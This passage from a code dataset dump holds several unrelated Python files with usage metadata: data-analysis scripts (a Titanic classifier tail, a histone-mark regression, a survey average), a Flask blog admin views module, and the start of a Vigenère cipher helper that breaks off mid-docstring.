sep=\",\")\n# ################################################ End ################################################\n", "sub_path": "titanicClassification/TitanicClassifier.py", "file_name": "TitanicClassifier.py", "file_ext": "py", "file_size_in_byte": 5804, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.base.BaseEstimator", "line_number": 24, "usage_type": "name"}, {"api_name": "sklearn.base.TransformerMixin", "line_number": 24, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 59, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.pipeline.FeatureUnion", "line_number": 67, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 110, "usage_type": "call"}]} {"seq_id": "66281681", "text": "#!/usr/bin/env python3\n\n\"\"\"\n./day5-lunch-4.py all.csv <gene of interest> K4me1.tab K4me3.tab K9me3.tab\n\n\"\"\"\n#output.tab\n# # name - name field from bed, which should be unique\n# size - size of bed (sum of exon sizes\n# covered - # bases within exons covered by bigWig\n# sum - sum of values over all bases covered\n# mean0 - average over bases with non-covered bases counting as zeroes\n# mean - average over just covered bases\n\n\n# use sum - sum of values over all bases covered as predictor to predict the gene expression FBtr0302347\n\nimport sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nimport scipy\n\n\n\ndf = pd.read_csv(sys.argv[1])\n\n\ngoi= df.loc[:, \"gene_name\"] == sys.argv[2]\n\nfpkm_val=df.loc[goi,\"male_10\"] #print out the t_name with FPKM under same gene name\ntoi_name=df.loc[goi,\"t_name\"]\n\n#print (toi_name)\n#print (fpkm_val)\n\nfpkm_list=[]\ntoi_list=[]\n\nfor i, fpkm in enumerate(fpkm_val):\n fpkm_list.append(fpkm)\n\nfor q, toi_id in enumerate(toi_name):\n toi_list.append(toi_id)\n\n#print (fpkm_list)\n#print (toi_list)\n\n\ndef score_hm(name):\n cover_list=[]\n for i, line in enumerate(name):\n fields = line.rstrip(\"\\n\").split(\"\\t\")\n cover=fields[3]\n hm_toi=fields[0]\n if hm_toi in toi_list:\n cover_list.append(cover)\n return cover_list #have a list of selected transcript name\n\n\ncover_list_K41m= score_hm(open(sys.argv[3]))\ncover_list_K43m= score_hm(open(sys.argv[4]))\ncover_list_K93m= score_hm(open(sys.argv[5]))\n\n\n\n#print (len(fpkm_list), len(cover_list_K41m), len(cover_list_K43m), len(cover_list_K93m))\n#combine all these lists into dictionary and make a new df\nnew_df=pd.DataFrame({\"FPKM_Sxl\":fpkm_list, \"K4me1\": cover_list_K41m, \"K4me3\": cover_list_K43m, \"K9me3\": cover_list_K93m})\n#print (new_df)\nmodel = sm.formula.ols(formula = \"FPKM_Sxl ~ K4me1 + K4me3 + K9me3\", data = new_df)\n\nols_results = model.fit()\n\nprint (ols_results.summary())\n\n\n\n", "sub_path": "day5-lunch/day5-lunch-4.py", "file_name": "day5-lunch-4.py", "file_ext": "py", "file_size_in_byte": 1970, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 70, "usage_type": "call"}, {"api_name": "statsmodels.api.formula.ols", "line_number": 72, "usage_type": "call"}, {"api_name": "statsmodels.api.formula", "line_number": 72, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 72, "usage_type": "name"}]} {"seq_id": "151715471", "text": "import json\nf= open(\"survey.json\",\"r\")\nx = json.load(f)\nf.close()\n\nsum_ages = 0\nlst_ages =[]\nfor i in x:\n temp = i[\"How many siblings do you have? \"]\n if temp.isnumeric():\n age = int(temp)\n sum_ages += age\n lst_ages.append(age)\navg = sum_ages / len(x)\nprint(avg)\nprint(lst_ages)\n", "sub_path": "week3/analysis.py", "file_name": "analysis.py", "file_ext": "py", "file_size_in_byte": 306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 3, "usage_type": "call"}]} {"seq_id": "579737060", "text": "# coding:utf-8\nfrom flask import redirect, url_for, flash, render_template, request\nfrom flask_login import current_user, login_required\n\nfrom app import db\nfrom app.admin import admin\nfrom app.admin.forms import PostForm, TagForm, AboutForm\nfrom app.decorators import admin_required, permission_required\nfrom app.models import Post, Tag, Comment, Permission\n\n\ndef delete(id, Model):\n model_instance = Model.query.get_or_404(id)\n db.session.delete(model_instance)\n db.session.commit()\n\n\n@admin.route('/', methods=['GET', 'POST'])\n@admin_required\ndef index():\n return redirect(url_for('admin.posts_manage'))\n\n\n@admin.route('/post/write', methods=['GET', 'POST'])\n@admin_required\ndef write_post():\n form = PostForm()\n if form.validate_on_submit():\n post = Post(title=form.title.data, body=form.body.data,\n author=current_user._get_current_object())\n for tag in form.tags.data:\n post.tags.append(tag)\n db.session.add(post)\n db.session.commit()\n flash(u'文章添加成功', 'success')\n return redirect(url_for('.posts_manage'))\n return render_template('admin/write_post.html', form=form)\n\n\n@admin.route('/post/<int:id>/edit', methods=['GET', 'POST'])\n@admin_required\ndef edit_post(id):\n post = Post.query.get_or_404(id)\n form = PostForm()\n if form.validate_on_submit():\n post.title = form.title.data\n post.body = form.body.data\n for tag in post.tags.all():\n post.tags.remove(tag)\n for tag in form.tags.data:\n post.tags.append(tag)\n db.session.add(post)\n db.session.commit()\n flash(u'文章内容已修改！', 'success')\n return redirect(url_for('.posts_manage'))\n\n form.title.data = post.title\n form.body.data = post.body\n form.tags.data = post.tags.all()\n return render_template('admin/edit_post.html', form=form, post=post)\n\n\n@admin.route('/post/<int:id>/delete', methods=['GET', 'POST'])\n@admin_required\ndef delete_post(id):\n delete(id, Post)\n flash(u'已删除！', 'success')\n return redirect(url_for('.posts_manage'))\n\n\n@admin.route('/posts/manage', methods=['GET', 'POST'])\n@admin_required\ndef posts_manage():\n page = request.args.get('page', 1, type=int)\n pagination = Post.query.order_by(Post.timestamp.desc()).paginate(\n page, per_page=20, error_out=False)\n page_posts = pagination.items\n tags = Tag.query.all()\n return render_template('admin/posts_manage.html',\n pagination=pagination,\n page_posts=page_posts,\n tags=tags)\n\n\n@admin.route('/posts/delete', methods=['GET', 'POST'])\n@admin_required\ndef delete_posts():\n post_ids = request.form.getlist(\"do_delete\")\n count = 0\n for post_id in post_ids:\n delete(post_id, Post)\n count += 1\n flash(u'共删除%d篇文章' % count, 'success')\n return redirect(url_for('.posts_manage'))\n\n\n@admin.route('tag/add', methods=['GET', 'POST'])\n@admin_required\ndef add_tag():\n form = TagForm()\n if form.validate_on_submit():\n tag = Tag(name=form.name.data)\n db.session.add(tag)\n db.session.commit()\n flash(u'分类添加成功', 'success')\n return redirect(url_for('.tags_manage'))\n\n\n@admin.route('/tag/<int:id>/edit', methods=['GET', 'POST'])\n@admin_required\ndef edit_tag(id):\n tag = Tag.query.get_or_404(id)\n form = TagForm()\n if form.validate_on_submit():\n tag.name = form.name.data\n db.session.add(tag)\n db.session.commit()\n flash(u'分类名称已修改', 'success')\n return redirect(url_for('.tags_manage'))\n form.name.data = tag.name\n return render_template('admin/edit_tag.html', form=form, tag=tag)\n\n\n@admin.route('/delete-tag/<int:id>', methods=['GET', 'POST'])\n@admin_required\ndef delete_tag(id):\n delete(id, Tag)\n flash(u'已删除', 'success')\n return redirect(url_for('.tags_manage'))\n\n\n@admin.route('/tags/manage', methods=['GET', 'POST'])\n@admin_required\ndef tags_manage():\n form = TagForm()\n page = request.args.get('page', 1, type=int)\n pagination = Tag.query.paginate(\n page, per_page=20, error_out=False)\n page_tags = pagination.items\n return render_template('admin/tags_manage.html',\n pagination=pagination,\n page_tags=page_tags,\n form=form)\n\n\n@admin.route('/tags/delete', methods=['GET', 'POST'])\n@admin_required\ndef delete_tags():\n count = 0\n for id in request.form.getlist(\"do_delete\"):\n delete(id, Tag)\n count += 1\n flash(u'共删除%d个标签' % count, 'success')\n return redirect(url_for('.tags_manage'))\n\n\n@admin.route('/tag/<name>', methods=['GET', 'POST'])\n@admin_required\ndef tag_posts(name):\n page = request.args.get('page', 1, type=int)\n tag = Tag.query.filter_by(name=name).first_or_404()\n pagination = tag.posts.order_by(Post.timestamp.desc()).paginate(\n page, per_page=20, error_out=False)\n page_posts = pagination.items\n tags = Tag.query.all()\n return render_template('admin/tag_posts.html',\n tag=tag,\n pagination=pagination,\n page_posts=page_posts,\n tags=tags)\n\n\n@admin.route('/comments/manage', methods=['GET', 'POST'])\n@admin_required\ndef comments_manage():\n page = request.args.get('page', 1, type=int)\n pagination = Comment.query.order_by(Comment.timestamp.desc()).paginate(\n page, per_page=20, error_out=False)\n page_comments = pagination.items\n return render_template('admin/comments_manage.html',\n pagination=pagination,\n page_comments=page_comments)\n\n\n@admin.route('/comments/delete', methods=['GET', 'POST'])\n@admin_required\ndef delete_comments():\n count = 0\n for id in request.form.getlist(\"do_delete\"):\n delete(id, Comment)\n count += 1\n flash(u'共删除%d条评论' % count, 'success')\n return redirect(url_for('.comments_manage'))\n\n\n@admin.route('/comment/<int:id>/delete', methods=['GET', 'POST'])\n@admin_required\ndef delete_comment(id):\n delete(id, Comment)\n flash(u'评论已删除', 'success')\n return redirect(url_for('.comments_manage'))\n\n\n@admin.route('/comments/manage/enable/<int:id>')\n@login_required\n@permission_required(Permission.MODERATE_COMMENTS)\ndef comment_enable(id):\n comment = Comment.query.get_or_404(id)\n comment.disabled = False\n db.session.add(comment)\n return redirect(url_for('.comments_manage',\n page=request.args.get('page', 1, type=int)))\n\n\n@admin.route('/moderate/disable/<int:id>')\n@login_required\n@permission_required(Permission.MODERATE_COMMENTS)\ndef comment_disable(id):\n comment = Comment.query.get_or_404(id)\n comment.disabled = True\n db.session.add(comment)\n return redirect(url_for('.comments_manage',\n page=request.args.get('page', 1, type=int)))\n\n\n@admin.route('/about/write', methods=['GET', 'POST'])\n@admin_required\ndef about_write():\n form = AboutForm()\n if form.validate_on_submit():\n post = Post(title='about', body=form.content.data,\n author=current_user._get_current_object())\n post.is_about = True\n db.session.add(post)\n db.session.commit()\n flash(u'文章添加成功', 'success')\n return redirect(url_for('.posts_manage'))\n return render_template('admin/about_write.html', form=form)\n\n\n@admin.route('/about/edit', methods=['GET', 'POST'])\n@admin_required\ndef about_edit():\n post = Post.query.filter_by(is_about=True).first_or_404()\n form = AboutForm()\n if form.validate_on_submit():\n post.body = form.content.data\n db.session.add(post)\n db.session.commit()\n return redirect(url_for('.posts_manage'))\n form.content.data = post.body\n return render_template('admin/about_edit.html', form=form)\n", "sub_path": "app/admin/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8017, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "app.db.session.delete", "line_number": 14, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 14, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 15, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 21, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 18, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 18, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 19, "usage_type": "name"}, {"api_name": "app.admin.forms.PostForm", "line_number": 27, "usage_type": "call"}, {"api_name": "app.models.Post", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_login.current_user._get_current_object", "line_number": 30, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 30, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 33, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 33, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 33, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 34, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 34, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 37, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 24, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 24, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 25, "usage_type": "name"}, {"api_name": "app.models.Post.query.get_or_404", "line_number": 43, "usage_type": "call"}, {"api_name": "app.models.Post.query", "line_number": 43, "usage_type": "attribute"}, {"api_name": "app.models.Post", "line_number": 43, "usage_type": "name"}, {"api_name": "app.admin.forms.PostForm", "line_number": 44, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 52, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 52, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 52, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 53, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 53, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 60, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 40, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 40, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 41, "usage_type": "name"}, {"api_name": "app.models.Post", "line_number": 66, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 68, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 63, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 63, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "app.models.Post.query.order_by", "line_number": 75, "usage_type": "call"}, {"api_name": "app.models.Post.query", "line_number": 75, "usage_type": "attribute"}, {"api_name": "app.models.Post", "line_number": 75, "usage_type": "name"}, {"api_name": "app.models.Post.timestamp.desc", "line_number": 75, "usage_type": "call"}, {"api_name": "app.models.Post.timestamp", "line_number": 75, "usage_type": "attribute"}, {"api_name": "app.models.Tag.query.all", "line_number": 78, "usage_type": "call"}, {"api_name": "app.models.Tag.query", "line_number": 78, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 79, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 71, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 71, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 88, "usage_type": "name"}, {"api_name": "app.models.Post", "line_number": 91, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 94, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 94, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 85, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 85, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 86, "usage_type": "name"}, {"api_name": "app.admin.forms.TagForm", "line_number": 100, "usage_type": "call"}, {"api_name": "app.models.Tag", "line_number": 102, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 103, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 103, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 103, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 104, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 104, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 106, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 97, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 97, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 98, "usage_type": "name"}, {"api_name": "app.models.Tag.query.get_or_404", "line_number": 112, "usage_type": "call"}, {"api_name": "app.models.Tag.query", "line_number": 112, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 112, "usage_type": "name"}, {"api_name": "app.admin.forms.TagForm", "line_number": 113, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 116, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 116, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 116, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 117, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 117, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 117, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 121, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 109, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 109, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 110, "usage_type": "name"}, {"api_name": "app.models.Tag", "line_number": 127, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 128, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 129, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 124, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 124, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 125, "usage_type": "name"}, {"api_name": "app.admin.forms.TagForm", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 136, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 136, "usage_type": "name"}, {"api_name": "app.models.Tag.query.paginate", "line_number": 137, "usage_type": "call"}, {"api_name": "app.models.Tag.query", "line_number": 137, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 137, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 140, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 132, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 132, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 133, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 150, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 150, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 150, "usage_type": "name"}, {"api_name": "app.models.Tag", "line_number": 151, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 153, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 154, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 154, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 146, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 146, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 147, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 160, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 160, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 160, "usage_type": "name"}, {"api_name": "app.models.Tag.query.filter_by", "line_number": 161, "usage_type": "call"}, {"api_name": "app.models.Tag.query", "line_number": 161, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 161, "usage_type": "name"}, {"api_name": "app.models.Post.timestamp.desc", "line_number": 162, "usage_type": "call"}, {"api_name": "app.models.Post.timestamp", "line_number": 162, "usage_type": "attribute"}, {"api_name": "app.models.Post", "line_number": 162, "usage_type": "name"}, {"api_name": "app.models.Tag.query.all", "line_number": 165, "usage_type": "call"}, {"api_name": "app.models.Tag.query", "line_number": 165, "usage_type": "attribute"}, {"api_name": "app.models.Tag", "line_number": 165, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 166, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 157, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 157, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 158, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 176, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 176, "usage_type": "name"}, {"api_name": "app.models.Comment.query.order_by", "line_number": 177, "usage_type": "call"}, {"api_name": "app.models.Comment.query", "line_number": 177, "usage_type": "attribute"}, {"api_name": "app.models.Comment", "line_number": 177, "usage_type": "name"}, {"api_name": "app.models.Comment.timestamp.desc", "line_number": 177, "usage_type": "call"}, {"api_name": "app.models.Comment.timestamp", "line_number": 177, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 180, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 173, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 173, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 174, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 189, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 189, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 189, "usage_type": "name"}, {"api_name": "app.models.Comment", "line_number": 190, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 192, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 193, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 193, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 185, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 185, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 186, "usage_type": "name"}, {"api_name": "app.models.Comment", "line_number": 199, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 200, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 201, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 201, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 196, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 196, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 197, "usage_type": "name"}, {"api_name": "app.models.Comment.query.get_or_404", "line_number": 208, "usage_type": "call"}, {"api_name": "app.models.Comment.query", "line_number": 208, "usage_type": "attribute"}, {"api_name": "app.models.Comment", "line_number": 208, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 210, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 210, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 210, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 211, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 211, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 212, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 212, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 212, "usage_type": "name"}, {"api_name": "app.admin.admin.route", "line_number": 204, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 204, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 205, "usage_type": "name"}, {"api_name": "app.decorators.permission_required", "line_number": 206, "usage_type": "call"}, {"api_name": "app.models.Permission.MODERATE_COMMENTS", "line_number": 206, "usage_type": "attribute"}, {"api_name": "app.models.Permission", "line_number": 206, "usage_type": "name"}, {"api_name": "app.models.Comment.query.get_or_404", "line_number": 219, "usage_type": "call"}, {"api_name": "app.models.Comment.query", "line_number": 219, "usage_type": "attribute"}, {"api_name": "app.models.Comment", "line_number": 219, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 221, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 221, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 221, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 222, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 222, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 223, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 223, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 223, "usage_type": "name"}, {"api_name": "app.admin.admin.route", "line_number": 215, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 215, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 216, "usage_type": "name"}, {"api_name": "app.decorators.permission_required", "line_number": 217, "usage_type": "call"}, {"api_name": "app.models.Permission.MODERATE_COMMENTS", "line_number": 217, "usage_type": "attribute"}, {"api_name": "app.models.Permission", "line_number": 217, "usage_type": "name"}, {"api_name": "app.admin.forms.AboutForm", "line_number": 229, "usage_type": "call"}, {"api_name": "app.models.Post", "line_number": 231, "usage_type": "call"}, {"api_name": "flask_login.current_user._get_current_object", "line_number": 232, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 232, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 234, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 234, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 234, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 235, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 235, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 235, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 236, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 237, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 237, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 238, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 226, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 226, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 227, "usage_type": "name"}, {"api_name": "app.models.Post.query.filter_by", "line_number": 244, "usage_type": "call"}, {"api_name": "app.models.Post.query", "line_number": 244, "usage_type": "attribute"}, {"api_name": "app.models.Post", "line_number": 244, "usage_type": "name"}, {"api_name": "app.admin.forms.AboutForm", "line_number": 245, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 248, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 248, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 248, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 249, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 249, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 249, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 250, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 250, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 252, "usage_type": "call"}, {"api_name": "app.admin.admin.route", "line_number": 241, "usage_type": "call"}, {"api_name": "app.admin.admin", "line_number": 241, "usage_type": "name"}, {"api_name": "app.decorators.admin_required", "line_number": 242, "usage_type": "name"}]} {"seq_id": "143386014", "text": "\"\"\"\nVigenère and derived ciphers\n\"\"\"\n\nimport string\n\nfrom Ciphers.types import Action\nfrom letter_values import get_letter_for_value, letter_to_value\nfrom utils import clean_word\n\n\ndef use_vigenere(msg: str, keyword: str, chars_to_keep: str = ' ', action: Action = Action.DECRYPT) -> str:\n \"\"\"\n Encrypt or decrypt a message using Vigenère cipher\n\n https://www.braingle.com/brainteasers/codes/vigenere.php\n\n :param msg: Message to encrypt or decrypt\n :param keyword: Keyword to encrypt or decrypt with\n :param chars_to_keep: Sequence of characters that are left 